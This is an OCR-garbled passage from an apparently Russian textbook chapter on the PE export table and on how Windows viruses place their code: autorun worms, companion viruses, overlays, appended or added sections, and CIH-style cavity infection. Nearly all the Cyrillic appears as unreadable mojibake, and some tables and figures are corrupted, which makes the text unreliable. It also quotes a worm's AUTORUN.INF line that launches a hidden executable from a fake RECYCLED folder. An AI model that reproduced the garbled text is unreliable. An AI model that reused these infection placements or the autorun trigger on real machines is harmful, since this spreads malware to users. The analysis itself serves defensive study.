onpeaejwer HyacHbie aapeca <J>yHKmiH h noacraBJiaeT hx b Ta6juiqy HM
nopTa.

HTaK, MH paCCMOTpeJIH HecKOJibKO pa3JIHMHHX CnOCo6oB, npH nOMOlHH 
K0T0pHx PE-nporpaMMa MoaceT HMnopnipoBaTb (JjyHKiiHH H3 BHeuiHeii 
ailHaMHMeCKOH 6H6jIH0TeKH. CjieayeT OTMeTHTb, HTO B HHCTOM BHae OHH 
b PE-nporpaMMax npaKTHHecKH He BCTpenaioTca, a o6hhho hmciot Mec- 
to pa3JiHMHHe hx kom6hh3uhh. HacTO b PE-nporpaMMe npHcjrrcTByioT 
cjiya<e6Hbie aaHHHe, KOTOpHe M0acH0 Hcn0Jib30BaTb h aJia «CTaHaapTHO-
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ro», h  f l j ia  «cmieTeHHoro» H M nopTa. Ecjih H M eerca  ajourepHaTHBa, to 3a- 
rpy3HHK n porpaM M  o6hhho HaHHHaeT pa36op  c rp y K T yp  c bou n d-H M n opTa 

(T aK  KaK oh n p o m e  h 6ucTpee) h TOJibKO n p n  HecoBnaflemra BepcuH 6h6- 
jiHOTeK n ep exo flH T  k  «c T a im a p T H o 0 » h j ih  ^ o tjio jk ch h o h *- MeTOflHKe.

4 3 . 1 . 4 .  d x c n o p m  o G b e t c m o e

3 t o  MexaHH3M, o6ecneHHBaiomHH onepannio, o6paTHyio k  HMnopTy. 
I Ip H  noMomn Hero flHHaMHMecioie 6n6jiHOTeKH (a HHorzia h  H cno jiH aeM b ie  

nporpaMMbi) npeflocTaBJiaioT Heo6xoflHMyio c jiyace 6 H yio  HHcJjopMannio 
o npoue^ypax h  <f>yHKUHflx, k o to p u m h  «c o n ia c H b i noflejiHTbca* c apy- 
n iM H  nporpaM M aM H . HanpHMep, CHcreMHaa 6H6jraoTeKa « K E R N E L 3 2 .  

D L L *  b  pa3 HM x BepcHHX W in d o w s  coaepacH T o t  HecKOJibKHX c o t c h  a o

HeCKOJIbKHX TbICHH T3KHX « 06mea0CTyiIHbIX» <J)yHKipiH.
M o r y r  j ih  nporpaMMbi h  AHHaMHHecKHe 6 h 6 j ih o t 6k h  0flH0BpeMeHH0 

HMnopTHpoBaTb h 3KcnopTHpoBaTb 4 >vhkuhh? /l,a, MoryT. HanpHMep, h c- 

nojiHHeMiie nporpaMMbi, noflTOTOBJieHHue ojisi p a 6 oTbi nofl ynpaBJieHHeM 
oTJia '̂niKa, KpoMe B nojiH e ecTecrBeHHoro HMnopTa, TaKace 3K cn opTH py- 

I0 T HecKOJibKO cJ)yHKUHH, KOTOpMMH 3T0T OTJiafl’ IHK 6 y fleT  n0JIb30BaTb-

ch. A  flHHaMHHecKaa 6 n 6 jiHOTeKa « K E R N E L 3 2 .D L L >  H3  W in d o w s  N T  

noHTH Bee 3KcnopTH pyeM bie  cjjymcnHH npeflBapHTejibHO H M n op TH p yer H3 

a p y ro ft  6 n 6 jin oTeK H  « N T D L L . D L L » ,  r ^ e  o h h  Ha caMOM a e j ie  h  peajiH 3 o -

B aH hi.

P a3 6 o p  MexaHH3Ma SKcnopra cjie^yeT Ha^HHaTb c orjiaBJieHHa, no- 
3HUHA KOToporo onpeflejraeTCH coaepacHMbiM nojw «E x p o r tT a b le R V A >  

3arojioBKa nporpaMMbi. 3 to  orjiaBJieHHe h Bee cjiyace6Hue Ta6jiHin>i, 
oiracbiBaKJuiHe sKcnopT, nacTO KOMnaicTHo pacnojiaraioTCH b oahoh H3 
ceKimft (HanpHMep, b « .e d a ta > ) ,  ho cymecTByeT HeMaJio flHHaMHMecKHx 
6H6jiH0TeK h nporpaMM, b kotopwx sto He TaK. C rp y ic ry p a  orjiaBJieHHa:

C haracteristics dd ? +00h -  i lo / ie  xapaxTepM C THK, oSu h h o  s f ie c b  coaepxs iTC fl 0

TimeDateStanip dd ? +04 h - MeTKa BpeMBHH M flaTbi C03fi3HHfl

MajorVersion dw ? +08h -  dapiiiee cjiobo 8epcnn
MinorVersion dw ? +0Ah -  M/iaaiiiee c jiobo  sepcMM
Name dd ? +0Ch - RVA HKeHH 6»i5JiMOTeKH wim nporpaMMa
Base dd ? + ’ 0h -  Mmcjio, c  KOToporo HaMMHaeTcs nyMepauiw  (JsyHKtiufi
NumberOfFunctions dd 9 +14h -  Ko.niwecTBO ijiyHKUMii
NumberOfNames dd ? +I8h - KOilMMeCTBO HM9H l(>yHKliHii
AddressOfFunctions dd ? +lCh - RVA TaS/iMuu aflpecoB t̂ yHKUMM
AddressOfNames dd 0 +20 h -  RVA raS/iHuu aflpecoB mmbh (jiyHKUtfsi
AddressOfNanteOrdinals dd O +24h - RVA Tae/IHUW HOMepOB 0yHKUHM

H a n 6 o jie e  BaacHH j i j i h  Hac ito jw  «  A d  d r e s s O f F u n c t io n s * ,  «A d d r e s s -  

O fN a m e s »  h  «A d d r e s s O fN a m e O r d in a Is » .  O h h  coaepacaT  a/ipeca Ta6 jm u ,
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onncbiBaioinHx sKcnopTHpyeMue <f>yHKUHH. B3aHMOfleHCTBHe aaHHUx, 
pa3MemeHHMx b arox Ta6^Huax, moxcho npeflCTaBim. caeayiomHM 06- 
pa30M:

TaQrnttta
aApecoBMMen
(JjyHKUMM

TaGnwja
HOMVpaa
(jjywcuMii

TaOnmia
ampecoe
•fcyHKMHH

326HTa 16 6htob
I  J * 326vrra

------------ ■----------- — a • «
» ■ * ' .. : |M|7 ...^

L.........................J  L .............. *

Phc. 4.12 ❖ 0praHM3ai(Mn SKcnopTa b PE-nporpaMMax

KaK 6buio HaMH paccMorpeHo paHee, HMnop-rapyiomaa nporpaMMa ansi 
flocryna k HHTepecyiomeH f|>yHKiinH MoaceT yKa3an> KaK ee hmh (HanpH
Mep, «ExitProcess»), TaK h opflHHan (HanpHMep, 248). CooTBeTcraeHHO, 
MexaHH3M aKcnopTa 0CH0BaH Ha flByx Ta6.ranax, o/ma H3 kotopmx coaep- 
* h t  32-6HTOBbie yKa3aTejra Ha CTpoKOBtie HMeHa (JjyHKimH, a apyraa -  
16-6htobhc nopaflKOBHe HOMepa (sto eme He opflHHaau!). 3th Ta6.nnubi 
coaepacaT no <NumberOfNames» 3anHcefi a «chhxpohhh», to ecn> 3amicH 
C O^HHaKOBHM HHSeKCOM OIIHCHBaiOT OflHy H Ty M t  (JjyHKIJHIO. CKaHHpya 
hx napaJuie^bHO, mohcho no hmchh (J)yHKUHH y3Han> ee nopaaKOBUH ho- 
Mep, a no nopa^KOBOMy HOMepy -  HMa. nopaflKOBWH HOMep 4>yHKHHH -  
sto ee HHfleKC b «Ta6jnme aapecoB 4>yHicioiH». Hmchho stot HHfleKc h 
cHHTaeTca « 0paHHaJi0M», no KOTopoMy BHnomaeTca 3KcnopT (Jjvhkuhh.

«Ta6jiHua aapecoB <J>yHiajHH», no cpaBHeHHio c apyrHMH Ta6juiuaMH, 
ycTpoeHa HecKOJibKO oioacHee.

Bo-nepBux, HyMepanna ee 3annceH HanHHaerca c MHCJia, KOTopoe He 
06a3aTeJibH0 paBHO eanHHne, h onpeaejiaerca 3HaneHHeM noJia 4 Base* 
or/iaBJieHHa. Hmchho noaTOMy «opflHHaJi» Moacer He coBnaaa-rb c «no- 
paflKOBHM HOMepOM>.

Bo-BTOpbIX, B HeH MoryT BCTpeTHTbCfl aapeca (JjyHKUHH, KOTOpbIM HeT 
cooTBeTCTBHfl b  «Ta6.?iHue aapecoB HMeH <J)yHKmiH> h b  cTaojinue HOMe- 

pOB (J)VHKUHH». 3 to  npOCTO 03HaHaeT, HTO yKa3aHHHe (JjVHKUHH XOTH H 
npucyTCTByioT b  6H6;iHOTeKe, TeM He MeHee He npeAHa3HaMeHbi a jra  s k c - 

nopTa.
B-TpeTbHX, b  Ta6ji«n e  m otvt BcrpeTHTbca «nycTbie» 3amicn c Hyjie- 

BbiM 3HaMeHHeM, to  ecn> /jaHHbiH op^HHaJi 3ape3epBHpoBaH, HO He h c - 

nojib3yeTca.
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B-HCTBepTHX, B pa3HUX 3aiXHCHX M OrjT BCTpenaTbCa OflHHaKOBBie 
3HaHeHHa. HanpHMep, b < KERNEL32.DLL* H3 Windows 95 (JjyHKijHH 
♦BackupRead* (o p a H H a ji 127) a <BackupWrite» (o p a H H a ji 129) p ea jm - 

3 y » T c a  o jh h m  h  TeM  ace KoaoM, h  noaroMy hm  b  T ad m m e cooTB eTcrB yeT  

o a h h  h  t o t  ace aapec.
HaKOHeq, HeKOTOpbie 3anHCH b stoh Ta6jnme MoryT yKa3UBan> He 

Ha Koa BHyrpeHHeH <$>yHKiuiH, a Ha crpoicoBoe HMa BHeuiHeii <$>yHKUHH, 
npeaBapHTeabHo HMnoprapoBaHHOH H3 apyrofi 6h6^hotckh. 3 to  xapaK- 
TepHO, HanpHMep, juw 6a6woreKa « KERNEL32.DLL* H3 Windows NT.

4.3.2. tae pacnojiaraiOTCfii Bupycbi
B  W in d o w s  M o r y r  cymecTBOBaTb npocrae BHpycu TpaanimoHHUx ranoB 
(•«cnyTHHKH» h  coBepaeHHHe> BHpycw), ho b noaaBJiaiomeM 6ojimiihh- 
cTBe caynaeB BHpyconncaTejiaMH Hcnojib3yioTCH MeroflH sapaaceHHH, oc- 
HOBaHHbie Ha «HMmiaHTaimH» Koaa BHpyca b cTpyicrypy P E -n p orpaM M H . 

IToHBHJiHCb TaKace HOBbie h Heo6bTiHHe MeToan pa3MemeHHH BHpycHoro 
Koaa. HTaK, 060 BceM no nopaaKy.

4 3 2 . 1 .  O a i u i o e u e  * H e p e u *

B n p y c b i aT o ro  r a n a  He n p racp en jia ioT ca  k  a p y n tM  nporpaM M aM , 

a  n p o cT o  «jieacaT» b KaK0M-HH6 y a b  K aT a jio re  b BHae o T a ea b H o ro  (Ja fijia . 

KaK ace ohh n ojiyM a ioT  ynpaBJieHHe? B s n o x y  MS-DOS B H pycaM  n o a o 6 - 

Horo n m a  npaxoaHJiocb H3 u iK y p n  boh jie3Tb, n brraacb  co6 jia3H H Tb n o jib - 

30BaxeJia KaKHM -rai6 y a b  «npHBJieKaTejn>HUM » HaHMeHOBaHHeM r a n a  

<PORNO.EXE» hjih -«RUNME.COM». Tenepb stoto H e Tpe 6 y e rc a . 

H epB b  MoaceT n p o cT o  n p o n n ca T b  cboh 3an ycK  b P ee cT p e  ( t z k o & noaxoa 
umpoKO HcnoJib3yeTca cereBUMH h hohtobhm h nepBaMH). OaHJioBue 
ace nepBH Hcnojn>3y io T  (Jraftji «AUTORUN.INF», k o to p h h  cjivjkht aJia 

CTapTa nporpaMM, pa3Mememibix Ha cbeM H H x H ocH T e jiax  -  CD-ancKax h 
«4>Ji3iuKax>. B o t  THiiHMHbiH npH M ep coaepacH M oro  «AUTORUN.INF>, 
o6HapyaceHHoro Ha 3apaaceHHOH «4)ji3iiiKe»:
[AutoRun]
sheilexecute=recyclefl\sys.exe

HeTpyaHo coo6pa3HTb, hto BHpyc (b ashhom cjiynae sto Win32. 
Perlovga.a) co3aaeT Ha ^cjxrauiKe* KaTajior ^RECYCLED*- (sto CTaH- 
aapraoe hmh aJia <MycopHOH Kop3HHti» Windows) h noMemaeT b Hero 
CBoe Tejio. Ctoht BcraBHTb « 4>ji3uikv» b  USB-pa3beM, h  BHpyc Tyr ace 
3anycKaeTca.

CymecTBy»3T a0B0jibH0 cjioacHwe cnoco6u  OTKJiKweHHa aBT03anycica 
nporpaM M , cBH3aHHue c p eaaK rapoB aH H eM  P eecT p a . O anaK O  3a6aoKH po-
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BaTb pacnpocTpaH eH H e A U T O R U N - n e p B e H  mojicho h  «p a 6 oH e-KpecTbaH - 

CKHMH* MeTOflaMH -  flOCTaTOHHO BpyHHyiO C03aaTb Ha «4>JI3UIKe» K aTa jio r 

c  HMeHeM « A U T O R U N . I N F » ,  n oM ecn rn >  b  H ero  em e  HecKOJibKO BJioaceH- 

Hbix icaTajioroB  (b o 3 m ojkho, c  4 3 anpem eH H hiM H » HMeHaMH r a n a  « A U X » ,  

XOTH 3TO He o6fl3aTeJIbH 0) H 3amHTHTb HX BCe OT 3anHCH. /lajieKO  He BCH- 

k h h  <HepBHK» coo6pa3H T, h to  r iep e fl hhm  He (J)aH7i, a  K aTajior; h to  a n x  

e ro  yaajieH H H  H eo 6 xoflH M  peKypcHBHUH o 6 x o a  AepeBa c «Bb iH H iiieH H eM » 

B cero  coAepacH M oro, c o  c 6 p o co M  6 h to b , c  npaB K ofi hm ch  h  t .  n.

ZtemeBO h  cepAHTO, He TaK jih ?

B n pon eM , b  2011 r. M ic r o s o ft  BbmycTHJia naTH, AeaKTHBHpyiom HH 

AJiH B cex  B ep cn ii W in d o w s  aBT03anycK c o  cmchhmx H ocH Tejieft, a  b  W in 

d o w s  7 aBTO3anycK npocTo-HanpocTo otk jitohch n o  yMOJiHainno.

4 . 3 2 . 2 .  B u p y c u - * c n y m H U K U *

O o p M a jib H o  B H p ycu  3 T o r o  r a n a  B n o jm e  M o ry r  acirrb h  pa3MHoacaTbcji 

n oA  ynpaBAeH H eM  32-pa3paA H b ix  B epcn ii W in d o w s .  H x  cB o ftc rea  6 h j ih  

HaMH H3yHeHbi Ha n pH M epe M S - D O S - « c o 6 p a T b e B » ,  h  h o b o to  A o 6 aB irrb 

ocT aeT ca  on eH b  M ajio. IIo a ca jiyH , caM oit H irrepecHOH 0 C0 6 eHH0 CTbK> W in 

d ow s , BJiHHiomeH Ha «noBaAKH»- B H pycoB -cnynn iK O B , aBJiaeTca nopaAO K  

n on cK a  cHcreM OH nporpaM M  h  AHHaMHnecKHX 6 h 6 j ih o tc k ,  npe/m a3iia- 

HeHHbix flJiH 3arpy3KH b  naM «Tb :

O  CHanajia b  K aT a jio re  n pon ecca -p oA H T e jia ;

O  3 aTeM  b  T eK ym eM  K aTa jio re ;

O  n 0T0 M b  «CHCTeMHQM» K aT a jio re  W in d o w s  (H anpH M ep, b  « C :\  

W in N T \ S Y S T E M 3 2  »• h j ih  b « C :\ W in d o w s \ S Y S T E M » ) ;

O  A a jie e  b  <6a30B0M » K a ra jio re  on ep a im oH H on  CHCTeMbi (H anpH M ep, 

b  « C : \ W in N T »  h j ih  b  « C : \  W in d o w s * ) ;

O  HaKOHen, b  K aTa jio rax , nepeHHCJieHHbix b  < r p o n e »  ( t o  ecn> b  n ep e - 

m c h h o h  oKpyaceHHH « P A T H » ) .

H an pH M ep , BH pyc MoaceT co3AaTb KaKoii-H H 6 yA b  «n oA A e jibH b rii>  kom - 

noH eH T OnepanHOHHOH y n u iH T b i (AHHaM HHecKyio 6 n 6 jiHOTeKy h jih  y r a -  

jn n y ) ,  KOTOpMH n o  yMOJiHaHHK) p acn o jia ra eT cn  b «6a30B0M  K aTa jiore^ , h  

n o M e cn rrb  e r o  b «cn cT eM H b ift»  KaTajior. B s to m  c jiyn a e  b  n ep B y io  onepeAb 
6 yA eT  HonoJiHHTbCJi HMeHHO «n o A A e jiK a ».  TaK , b  H acn iocT H , n o c ry n a io T  

B H p ycw  ceMeiicTBa Win9X.Dupatorc6H6AHOTeKOH«KERNEL32.DLL».
B n pon eM , a m  BH pycoB ceM eiicTB a Win9X.Dupator s t o  B cero  jm o ib  

«B cn o M o raT e jib H H H » MexaHH3M. I I I a H c u  ace H a  p a c n p o c T p a H e H H e  «h h c -  

t h x »  B H pyc0 B -«cnyTH H K 0 B » He3 HaHHTejibHbi, nosTO M y b cp eA e  W in d o w s  

h x  oneH b M ajio , h  BCTpenaioTCH o h h  TOJibKO b KOJiJieKqHHX B H p yco jio roB  

B «3aCnHpT0BaHH0M » BHfle.
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4 3 2 3 .  - * O e e p j i e u H b t e *■ e u p y c u

«O B ep jieH M H * b  PE-nporpaMMax M o r y r  cHHTan>ca jiio6bie aaHHbie, 

4>opMajibHo H axoaa m H eca  B H yrpH  n porp aM M H oro  4>aftjia, h o  He c o -  

aepacam H eca BH yrpH  ceia jH H  (H e  3a6uBaHTe, PE-3aroJ i0B0K  mbi Toace 

ycjioBH O  CTHTaeM ceK U H eft!). Bee, m to p acno jioaceH o  BHe cera iH H , n p n  

3arpy3K e n p o rp aM M u  b  naMHTb H e n onaaaeT . B 3 2-p a3 paaH M x B epcn- 

a x  W in d o w s  bo3m om chocth BH pycoB , p a 6 oTa iom H x  n o  «O B epjieH H O M y» 

npH H im ny, h cck o jim co  orpaH iw eH M , n o  cpaBHeHHio c  bo3 m o jk h oc th m h  

h x  D O S - c o 6 paTbeB. 3 t o  CB«3 aHO n peacae  B cero  c  3anpeTOM  BHaoH3Me- 

HeHHa 4>aiiJia HcnojmaioiiieHca b  aaHHbrii m om ch t nporpaM M bi. K o h ch h o , 

<OBepjieHHfaie» B H p y c a  cym ecT B y io r , h  h x  H e TaK yac h  M aao, h o  o h h , KaK 

npaBHJio, H an n caH U  Ha H3HKax b h c o k o t o  ypoB H a h  H cn o .ib3 y ioT  Becb- 

Ma npHMHTHBHyro h  M a jio K o p p eK ra y io  TexHHKy: n p o c ro  «O Tp u rH B aK n >  

c b o h  O Bepjie fi ( t o  ecn> o p n n iH a jib H y io  n p o rp a M M y ) bo  BHeuiHHii cf)aHJi 

c  acecnco 4>HKCHpoBaHHMM h jih  cjiyMaHHbiM (B H p yc  Win32.Sbit.8192) 
HMeHeM h  3 an ycK a ioT  e r o  Ha H cnojiH eH H e n p n  n oM om n  «CreateProcess» 
h jih  «WinExec». H eK O T opu e  nporpaM M bi, 3 anym eH H bie n o a  «n yacH M » 

HMeHeM, n p o c r o  He 6 y a y r  npaBHJibHO p a 6 oTaTb. K TOMy ace n p a K T M ecK H  

Bee TaKHe B H p ycw  He aoacn aa ioTca  OKOHHaHHa p a fx m i  3 an ym eH H o ii n p o 

rpaMMbi h He y a a jia io T  ee  (|>aHJia, a  n p o c T o  npHCBaHBaioT eM y  aTpH6 y r  

«H eBH flH M blH ».

KoHeHHo, cymecTByiOT h 6ojiee KoppeKTHbie MeToau, ho ohh aoBOJibHO 
cjioaciiu h CBH3aHbi c B0cnp0H3BeaeHiieM aJiropHTMa, Hcnojn>3yeMoro ch- 
CTeMHbiM 3arpy3HHKOM Windows. He hckjuohcho, h to  BHpycw, H cnoab- 

3y iom H e T a io ie  ajiropHTM M , c y m e c re y io T , ho b jiio6om cjiynae hx eaHHH- 
H H , H o 6 H a p y *H T b  HX MOaCHO TOJibKO B KOJUieKUHJIX BHpyCOJIOTOB.

B ecbM a x a p a K T e p H M M  n p H 3 H a K O M  n p o c r a x  « 0B ep jieH H M X » BH pycoB 

aBJiaeTca H3MeHeHHe h k o h k h  3apaaeeHH O H  n porp aM M u . B  caMOM aeJie, 

B eab  n o c jie  3 a p aaceH H a b  «acH B eT » coB ceM  a p y r a a  n porpaM M a!

4 3 2 . 4 .  B u p y c b i  e  p a c u m p e u H o u  n o c n e d n e u  c e t a q t u

3to caMbiii npocTofl h caMbiii ecrecTBeHHbiH cnoco6 pa3MemeHHa no- 
CTopoHHero Koaa b PE-nporpaMMe. Cyn. ero 3aKJiK>HaeTca b tom, hto BH
pyc npocTo yBejiHHHBaeT b Ta6jnine ceKimft pa3Mep nocjieaHeft ceiomH 
h 3anHCbiBaeT BHpyc b 06pa30BaBiueeca b Komje cJjaftjia aonojnnrrejib- 
Hoe np0CTpaHCTB0. Ectcctbchho, a-ia stoh cerantH Heo6xoaHMO ycra- 
HOBHTb 4>jiant, cooTBercTByiomHe HcnojiHiieMOMy Koay, HHane BHpyc He 
CMo*eT CTapTOBaTb H3 Hee. Bot npHMep Bnaoii3MeHeHHH, npoH3omea- 
uihx b nporpaMMe «NOTEPAD.EXE», 3apaaceHHOH BHpycoM Win9X. 
DarkSide.1371 (cm. Ta6 ;i. 4.1).
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T a G m m a  4 . 1 .  H s M e t w H n a  s  s a r a n o B i c o ,  n p o u 3 B e a o H H b i e  B u p y c o M  
D a r k S i d e

none saranoMca A n  aapaacemm Tlocna sapajKeHHti
AddressOfEntryPoint 0x1000 OxBAOO
NumberOfSections 6 6
SizeOflmage OxCOOO 0xC600

OnncaHHe nocjieAHea ceiojHH nporpaMMbi ao  3apaaceHHa ( c m . Ta6ji. 4.2).

T a 6 m u t a  4 . 2 .  X a p a ir r e p H C T H K H  n o c m o H e H  c e t a f M H f l o  3 a p a m e H n s t

Name VirtSize RVA PhysSize Offset Flags
6.reloc 91E B000 A00 7C00 42000040 r....d...

H nocjie H ero ( c m . Ta6;i. 4.3).

T a t im m a  4 .3 .  X a p a K re p M C T m a t n o c n e o H e to  c e n ^ m  n o c n e  a a p a x e H u a

Name VirtSize RVA PhysSize Offset Flags
6.reloc F IE B000 1000 7C00 62000060 r.ec.d...

3 a n n c b  BHpycHoro Koaa b ceiama, coaepacamHe oBepjiefi (h x  zpmHa 
b ahckobom 4 > a iu ie  6ojii>me pa3Mepa, 3ape3epBHpoBaHHoro hjih  3arpy3KH 

b naMHTb), MoaceT npHBecni k  H eK o p p eK ra o n  pa6oTe 3apaaceHH0H npo- 
rpaM M ti. T e M  He MeHee 6ojibuiHHCTBO BHpycoB, 3apaacaioimtx P E -c J r a iiJ ib i , 

HCnOJIKByiOT HMeHHO 3T0T MeTOfl BHeflpeHHa BHpyCHOrO Koaa. B HeKOTO- 
poM CMbic.xe e r o  mojkho cMHTaTb «cTaHflapTHHM».

4 3 2 . 5 .  B u p y c u  e  d o n o j i n u m e j i b H o u  c e x u ^ u u

3t0 AOBOJIbHO KOppeKTHblil H HafleaCHblH, XOTH H He cjihhikom nony- 
JiapHHH cnoco6 3apa*eHHa PE-nporpaMM. O h  6mji Hcncuib30BaH b ca- 
mom nepBOM P E - B H p y c e  Win9X.Boza. B Ta6jumy cckuhh ao6aB.rajiacb 
HOBaa <cTpoKa», oimcbiBaiomaa ceKimio c HMeHeM « . v l a d »  h  (JwaraMii 
C0000040h. CaMa ceKUHa (J>H3HMecKH pa3Memanacb b KOHue (Jraiuia (cm. 
Ta6ji. 4.4).

T a 6 n t m a  4 . 4 .  C e m u t i  n p o r p a M M b i ,  a a p a x e H H o i t  a u p y c o M  B o z a

Name VirtSize RVA PhysSize Offset Rags
1 .text 000003E5 00001000 00000400 00000400 60000020 r.ec.....
2 .data 00000098 00002000 00000200 00000800 C0000040 rw...d...
3 .idata 0000025A 00003000 00000400 00000A00 40000040 r....d...
4.rsrc 00001314 00004000 00001400 00000E00 40000040 r....d...
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T a S n m n a  4 . 4 .  C e / a y t H  n p o r p a M M b i ,  a a p a M O H H O ii e n p y c o M  B o z a
(  OKOHHaHUe)

Name VirtSize RVA PhysSize Offset Flags

5 .reloc 000000D2 00006000 00000200 00002200 42000040 r....d...
6 .vlad 00002000 00007000 00000COO 00002600 C0000040

rw ...d ...

IIpH 3T0M BHpycy npHXOflĤ TOCb KOppeKTHpOBaTb 3Hal{eHHH HeKOTO- 
pux nojieii 3aro;ioBK.a nporpaMMU ( cm . TaSji. 4.5).

T a G n n L ia  4 . 5 .  F i o n a  s a r o n o B K a  n p o r p a M M b i ,
s a p a x B H H o l t  anpycoM B o z a

none aarojioBKa A o  3apa)KeHMn floane sapaxeHtM
AddressOfEntryPoint 0x12C6 0x7000
NumberOfSections 0x0005 0x0006
SizeOflmage 0x7000 0x9000

Ecn> h  a p y ra e  BHpycw, HcnoJib3yroiUHe noao6H yio  T e x H O J io ra ro  BHea- 
p eH H H  CBoero Koaa b  nporpaMMy. H a n p H M e p ,  BHpyc Win32.Parite.a 
flo6aBJiHeT k 3apaacaeMOH nporpaMMe ceiciiHio c  HMeneM < p m j » ,  BHpyc 

Win9X.Inca (oh ace Win9X.Fono.l5327) -  ceicimio co  c^ynafiH UM  HMe- 
HeM, a  BHpyc Win9X.FUth.1030 -  ceKUHio 6e3 HMeHH.

4 3 2 . 6 .  B u p y c t * ,  p a c n p e d e j i e u n u e  n o  c e x n i u m

3 to t Merofl BHeapeinia BHpycHoro Tejia b PE-nporpaMMy nojib3yeT- 
ca TeM 06cT05rrejn>CTB0M, hto ofh>eM «no.ne3HOH> HHcjiopMaioiH, xpaasi- 
meika b ceKUHax nporpaMMHoro (fiatt/ia, MeHtrne pa3Mepa BbiaejieHHUx 
nos Hee AaHHUx. HajiHHHe b KOHije ceKipiH nycrux «xboctob» -  BnojiHe 

HopManhHoe SBJieHue. HanpHMep, H3 iw th—ceMH fleorncoB craimapT- 
h u x  yTHJiHT h aKceccyapoB, <aaiBymHX» b KaTajiorax «C:\Windows» 
h «C :\W INNT», noHTH Bee hmckjt cyMMapHbie ajihhm «xboctob» 6o- 
aee 1 0 2 4  6 a H T O B , npHHeM n o j io B H H a  H3 hhx -  ziaace 6o;iee 4 0 9 6  6aftTOB. 
ZJjih pa3MemeHHH BHpycHoro KO#a BHyTpH (f>aHJia PE-nporpaMMu 3Toro 
o6uhho 0Ka3biBaeTca BnojiHe aocTaTOHHO.

1 io c M O T p H T e , K a K  b t o  a e J ia e T  3 H a M e H H T U H  B H p y c  W in9X.CIH. B o t  

T a 6 j i n n a  c e K itH H  o a o p o B o f t *  n p o r p a M M U  « P B R U S H . E X E »  H 3  Win
dows 9 5  (cm. T a 6 j i .  4 . 6 ) .

/ J a B a i iT e  o6pa-raM BHHMaHHe H a  n e p B y i o  ceKUHio « . t e x t > .  B  ahckobom 
4 > a ft jie  n o / i  H e e  oTBe/ieHo 2 0 0 h = 5 1 2  6 a H T O B , b to B p e.v isr KaK peajrtH O  b 
Heft coflepacHTca Bcero A B h = 1 7 1  6 a irr  « n o j i e 3 H o f t »  HHtJxipMauHH. C j i e -
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T a 6 n v m a  4 .6 .  T a 6 n u iia  ceK m nH  n p o rp a M M b i n o  a ap a xceH na

Name VirtSize RVA PhysSize Offset Flags
1 .text AB 1000 200 400 60000020 r.ec.....
2 .idata E4 2000 200 600 40000040 r....d...
3 .rsrc 1000 3000 800 800 40000040 r....d...
4 .reloc 34 4000 200 1000 42000040 r....d...

aoBaTejibHo. ocTajibHbie 5 1 2  -  1 7 1  =  3 4 1  6aHT MoryT 6biTb ncn0JiL30BaHH 

B H p y c o M  mm  x p a H e H H H  liacTH CBoero Kozia. HMeioTca 2 8 4  «6ecxo3Hwx» 
6aiiTa h  b KOHije B T o p o n  c c k o h h  «.idata». h  4 6 0  -  b  KOHiie nocjie/iHeii 

ceKiiHH « .r e lo c » .  H a K o n e u .  H e  3a6y^bTe, hto HecKOJibKO coTeH 6aHTOB 

CBo6oflHbi b KOHije « n ceBaoceKHHH» 3ar0Ji0BK0B. Bupyc, k o a  KOToporo 
H M e e T  ajiim y HyTb 6ojiee 1 0 0 0  6aHT0B, pasMeinaexcn b HencnojibsyeMbix 

rfjparMCHTax PE-nporpaMMbi «c K 0M(f)0pT0M». B ot Ta6jiHna cerMeHTOB 
3apaaceHH0H nporpaMMbi, b k o t o p o h  BiipTyajibHbie pa3Mepbi ceKniiii Bbi- 
pOBHeHbl B H p y C O M  H a  MaKCHM3JIbHO B03MO>KHyiO /UIHHV, a (J)H3HHeCKHe 

pa3Mepbi He  H 3 M e H e H H  (cm. Ta6;i. 4 . 7 ) .

T a 6 jiM tta  4 .7 .  CetoxH H  c  «O K pyrs ieH H b iM H » p a 3 M e p a M H

Name VirtSize RVA PhysSize Offset Rags
1 .text 200 1000 200 400 60000020 r.ec.....
2 .idata 200 2000 200 600 40000040 r....d...
3 .rsrc 1000 3000 800 800 40000040 r....d...
4 .reloc 200 4000 200 1000 42000040 r....d...

Pa3VMeeTCH, fljiHHa 3apaaceHHoro cjiiaitjja ocTaeTcn npe/KHefi. YBii/icTb 

BHpyCHblH K o a  B H y T p H  TaKOTO cjjaH.'ia MOJKHO TOJibKO n p H  H OMOIHH cne- 

HHajibHbix v t h j i h t , n o K a 3 W B a i o m H X  ero h h c j i o b o h  aaMn.

H H T e p e c H O , h t o  b  n e p B b ie  M e c a u b i r io c jie  H aw a jia  B ce .M H p n o ii a riH iie M H ii 

B H p y c a  W i n 9 X . C I H  M H o r n e  a H T H B iip y c b i H e  c p a 3y  HayHH/iHCb KoppeKT- 

h o  y a a JiH T b  B H p y c H b iH  k o a  H 3  3 a p a > K e H H b ix  4>aH.!ioB. O h h  JiHiiib o 6 e 3 B p e -  

jK H B a jiH  B iip y c , VH HM TOJK aa e ro  c T a p TO B b iii cJjp a rM e u r, p a c n o jio a c e H H b iii 

b  «n c e B a o c e K H H H »  3a r o J i0 B K 0 B. O c T a / ib H o ii ko/i B i i p y c a ,  B f o i io H a io iH M H  

n p o n e a y p y  n o p ™  c o a e p jK H M o ro  F la s h -n a M H T H  K O M n b ro re p a , o c T a B a jic a  

B  «XBOCTaX> CeKIIHH.
B npHHmine, 3th ocTaTKH BHpyca b h v t p h  4)aiijia a6c0Jii0TH0 6e3onac- 

Hbi, TaK KaK He M oryT noJiyHHTb yripaBJienna. H o  HeK0T0pbie coBpeMeH- 
Hbie aHTHBHpycu, H a n p H M e p  a H T HBHpyc KacnepcKoro h  Norton  Antivirus, 
pacno3HaioT TaKofl «He;io;]eHeHHbni> BHpyc Ka K  BpeaoHOCHyro nporpaM

My Trojan.FlashKiller h  upe;i;iaraK)T ee «/ioJievirrb nacMepTb^. Haao jih
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corviam aTbCfl?  IloacaJiyH, aa . X o th  6bi p a a n  xoro, h t o 6 l i  b  cjieayroimifi 
pa3  n p w  n po B epK e  a n a c a  Te ace anTH B H pycbi He pa3/ipa*a -TO  n y r .iH B o ro  

n0Jib30BaTe.ra cboh m h  TpeBoacHbiM H cooo inem iaM M .

M eToa pa3Memeraw Koaa b «xBOCTax» ceKUHH, HcnojibsoBaHHbra B H py -  

com  W in 9 X .C IH , cTaJi o 6i>eKroM MHoroHHCJieHHbix noapaacaHHH. C to h t 
ynoMHHyTb Taicace Haeio pa3MemeHHfl Te.ia BHpyca BHyrpn ceKUHH, opurH- 
na/ibHoe coaepacH M oe K0T0pbix ynaKOBaHO KaKHM-JiHoo MeTOflOM cacaTHa 
